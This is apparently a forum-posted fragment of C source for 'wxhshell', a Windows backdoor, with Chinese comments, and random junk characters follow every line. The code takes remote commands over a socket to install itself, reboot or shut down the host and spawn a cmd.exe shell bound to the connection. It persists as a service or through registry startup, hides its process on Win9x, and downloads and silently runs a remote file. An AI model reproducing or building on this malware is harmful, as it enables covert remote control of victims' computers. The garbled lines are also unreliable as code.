]cQYSN7!SY  
    switch(cmd[0]) { fGdT2}gd  
  mv1g2f+  
  // 帮助 JJC Y M  
  case '?': { xD.Uh}:J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +|0f7RB+R  
    break; 2><=U7~  
  } /6fa 7;  
  // 安装 X%X`o%AqC  
  case 'i': { =:fN  
    if(Install()) U~3uu &/r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  >;qAj!'  
    else Q' b@5o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9!XXuMWU<  
    break; 4e`GMtp  
    } :<}1as! eo  
  // 卸载 "kb[}r4?  
  case 'r': { ~?6M4!u   
    if(Uninstall()) ~W/|RP7S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bv:M zYS  
    else LI~ofCp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^+ J3E4  
    break; [k~}Fe) x  
    } ;bYS#Bid{V  
  // 显示 wxhshell 所在路径 qQN|\u+co  
  case 'p': { %m/W4Nk  
    char svExeFile[MAX_PATH]; }R&5Ye  
    strcpy(svExeFile,"\n\r"); -tPia=^  
      strcat(svExeFile,ExeFile); t/$:g9V%FA  
        send(wsh,svExeFile,strlen(svExeFile),0); s2Rg-:7  
    break; @"h @4q/W  
    } !=)b2}e/>  
  // 重启 [[XbKg`"?  
  case 'b': { h/goV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `/"*_AKAI  
    if(Boot(REBOOT)) 57|RE5]|!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1ze\ U>  
    else { @LyCP4   
    closesocket(wsh); BT*z^Z H  
    ExitThread(0); #jqcUno  
    } &"gQrBa  
    break; q 3nF\Me0  
    } l/i7<q  
  // 关机 D[H #W[  
  case 'd': { eo [eN.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U0m 5Rc  
    if(Boot(SHUTDOWN)) c3__=$)'kP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zk++#rB  
    else { Hd_W5R  
    closesocket(wsh);  j1~'[  
    ExitThread(0); 1CmjEAv%/  
    } )JsmzGC0  
    break; "/k TEp  
    } w}rsboU  
  // 获取shell <*Bk.>f!  
  case 's': { QKHAN{hJ  
    CmdShell(wsh); 1F,>siuh ,  
    closesocket(wsh); FW@(MIH  
    ExitThread(0); zn)Kl%N^  
    break; EEJ OJ<  
  } 2kSN<jMr  
  // 退出 b+#A=Z+Pr  
  case 'x': { y_:~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z)_h"y?H{%  
    CloseIt(wsh); /^pPT6  
    break; A. 5`+  
    } V44M=c7E  
  // 离开 DG-XX.:z  
  case 'q': { dd-`/A@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \- f^C}m  
    closesocket(wsh); &:?2IAe  
    WSACleanup(); A(@VjXl  
    exit(1); `#3FvP@&  
    break; "o}}[hRP  
        } =}K"@5J  
  } ;oM7H*W C  
  } #qDMUN*i  
N <e72x  
  // 提示信息 kSUpEV+/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !(i}FFn{:  
} NpAZuISD!  
  } X3zpU7`Av+  
[XbNZ6  
  return; %8c2d  
} M "\j7(  
f=--$o0U~  
// shell模块句柄 +t7n6  
int CmdShell(SOCKET sock) ?,z/+/:  
{ a d#4W0@S  
STARTUPINFO si; Oe)B.{;Ph  
ZeroMemory(&si,sizeof(si)); ?}ly`Js  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "CY#_)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wi2Tg^  
PROCESS_INFORMATION ProcessInfo; b-OniMq~  
char cmdline[]="cmd"; GX#SCZ&}C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y!u=]BE  
  return 0; * LOUf7`  
} 1+ib(MJ<:#  
hM "6-60  
// 自身启动模式 R>;m6Rb_  
int StartFromService(void) AD>X'J u8  
{ zI{~;`tzN  
typedef struct [4 y7tjar^  
{ $2/v8  
  DWORD ExitStatus; ]L/AW  
  DWORD PebBaseAddress; krMO<(x+  
  DWORD AffinityMask; Ba#wW E  
  DWORD BasePriority; chakp!S=  
  ULONG UniqueProcessId; Vk:] aveW  
  ULONG InheritedFromUniqueProcessId; )cV*cDL1j  
}   PROCESS_BASIC_INFORMATION; sLze/D_M*  
kCHYLv3.  
PROCNTQSIP NtQueryInformationProcess; tl"?AQcBR  
QzilivJf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yFY:D2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l|j}Ggen  
yp?a7t M  
  HANDLE             hProcess; %DhM}f  
  PROCESS_BASIC_INFORMATION pbi; srQ]TYH ,  
C8W4~~1S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9D[Jn}E:  
  if(NULL == hInst ) return 0; /8Ru O  
0BrAgv"3a_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HY2*5 #T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7'zXf)!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NbPNcjPL  
jz$ ]"\G#  
  if (!NtQueryInformationProcess) return 0; ;!(GwgllD  
AU 4K$hC^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t.pn07$  
  if(!hProcess) return 0; z(eAhK}6?  
T)o>U &KNP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]114\JE  
;ZoEqMv  
  CloseHandle(hProcess); wfQ^3HL  
b Od<x >@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bdr'd? u<A  
if(hProcess==NULL) return 0; &w%--!T  
5 >\~jf  
HMODULE hMod; )>;V72  
char procName[255]; 952l1c!  
unsigned long cbNeeded; *;:dJXR  
h,zM*zA_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l4$Iv:  
/i)>|U 4  
  CloseHandle(hProcess); N~|Z@pU"  
X" Upml  
if(strstr(procName,"services")) return 1; // 以服务启动 ybU_x  
c^1tXu|&  
  return 0; // 注册表启动 $*+IsP!  
} @hwe  
sR;u#".  
// 主模块 Xv<K>i>k  
int StartWxhshell(LPSTR lpCmdLine) ({0:1*lF@  
{ ?egZkg=U  
  SOCKET wsl; H b?0?^#  
BOOL val=TRUE; bbs'>D3  
  int port=0; :Z&<5  
  struct sockaddr_in door; ^v5<*uf%m  
<Uc?#;% Y}  
  if(wscfg.ws_autoins) Install(); fM`.v+  
 P0 9f  
port=atoi(lpCmdLine); 2rxz<ck(  
 &4{!5r  
if(port<=0) port=wscfg.ws_port; =K <`nF0 w  
3IG<Ot9  
  WSADATA data; 7yQw$zG,Iz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |8?DQhd}  
x|$|~ 6f=n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4n} a%ocv^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gC+?5_=<  
  door.sin_family = AF_INET; 6d(D >a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nc^DFP  
  door.sin_port = htons(port); +_1sFH`  
weH3\@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >%H(0G#X  
closesocket(wsl); 2b K1.BD  
return 1; /B<QYvv  
} l[<U UEjZJ  
H/y,}z  
  if(listen(wsl,2) == INVALID_SOCKET) { y96HTQ32  
closesocket(wsl); ..7 "<"uH  
return 1; ^^B~v<uK  
} ly#jl5wmT  
  Wxhshell(wsl); I-^C6~  
  WSACleanup(); $!$,cK Pl5  
&dG^M2g-F  
return 0; %-woaj   
/2'l=R5#  
} A(*c |Aj9  
"7Z-ACyF5  
// 以NT服务方式启动 *x:*Q \|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?I$-im  
{ ~REfr}0  
DWORD   status = 0; [ 2PPa9F  
  DWORD   specificError = 0xfffffff; ;0lY_ii  
G#fF("Ndu`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jyB Ys& v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _#qfe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;I?x; lH  
  serviceStatus.dwWin32ExitCode     = 0; l b;P&V  
  serviceStatus.dwServiceSpecificExitCode = 0; H?rCIS0  
  serviceStatus.dwCheckPoint       = 0; yy Y\g  
  serviceStatus.dwWaitHint       = 0; O(6j:XD  
hHZ'*,9 y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nH<#MG BS  
  if (hServiceStatusHandle==0) return; 8S7#tb@3  
K#Zv>x!to  
status = GetLastError(); t.#ara{  
  if (status!=NO_ERROR) '<s54 Cb  
{ J0Gjo9L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \CX6~  
    serviceStatus.dwCheckPoint       = 0; adPd}rt;  
    serviceStatus.dwWaitHint       = 0; _F5*\tQ  
    serviceStatus.dwWin32ExitCode     = status; ( k,?)  
    serviceStatus.dwServiceSpecificExitCode = specificError; zdm2`D;~p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  |nfMoUI  
    return; }3_ >  
  } 1m5*MY  
CeeAw_*@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n(`|:h"  
  serviceStatus.dwCheckPoint       = 0; "n_X4e+18P  
  serviceStatus.dwWaitHint       = 0; v-BQ>-&s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %>$Pu y\U  
} *E]:VZl  
+D2I~hC0'  
// 处理NT服务事件,比如:启动、停止 W>5[_d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _M+7)[xj=  
{ s94 *uZ(C/  
switch(fdwControl) [r!f&R  
{ ia(`3r  
case SERVICE_CONTROL_STOP: :a^/&LbLm  
  serviceStatus.dwWin32ExitCode = 0; ]6F\a= J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f> bL }L  
  serviceStatus.dwCheckPoint   = 0; A'.=SA2.Y  
  serviceStatus.dwWaitHint     = 0; H~^)^6)^T  
  { '/)qI.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e^'|<0J  
  } i\O^s ]  
  return; )*`h)`\y  
case SERVICE_CONTROL_PAUSE: x[0O*ty-*<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S+#|j  
  break; |#sOa  
case SERVICE_CONTROL_CONTINUE: (k8}9[3G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +H28F_ #  
  break; G{I),Y~IF  
case SERVICE_CONTROL_INTERROGATE: 5 5m\, UG7  
  break; p!5'#\^f  
}; )XHn.>]nc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U E$Ix  
} a9UXg< 4  
^,#m y<{  
// 标准应用程序主函数 l*6Zh "o:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #wo *2 (  
{ \h_q]  
x H&hs$=  
// 获取操作系统版本 wJNm}Wf  
OsIsNt=GetOsVer(); Sg4{IU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |-)8=QDz)r  
#=VYq4B=  
  // 从命令行安装 Nke!!A}\|  
  if(strpbrk(lpCmdLine,"iI")) Install(); V$sY3,J7A%  
2:_6nWl  
  // 下载执行文件 =#v? }JG  
if(wscfg.ws_downexe) { mBE&>}G<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P#,;)HF  
  WinExec(wscfg.ws_filenam,SW_HIDE); *yaS^k\  
} 0y6M;"&~E  
&!OEd ]  
if(!OsIsNt) { *ziR&Fr!  
// 如果时win9x,隐藏进程并且设置为注册表启动 yIrJaS-  
HideProc(); &w#!   
StartWxhshell(lpCmdLine); tc<uS%XT4^  
} iaCV8`&q%  
else 0ZM(heQ  
  if(StartFromService()) b>Y{,`E3  
  // 以服务方式启动 Yj#tF}nPC  
  StartServiceCtrlDispatcher(DispatchTable); NcP/W>lN  
else tAF?. \x"g  
  // 普通方式启动 7 @ )  
  StartWxhshell(lpCmdLine); OQ7 `n<I<)  
.w;kB}$YC  
return 0; -^546 7  
}
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只看该作者 1 发表于: 2006-10-10
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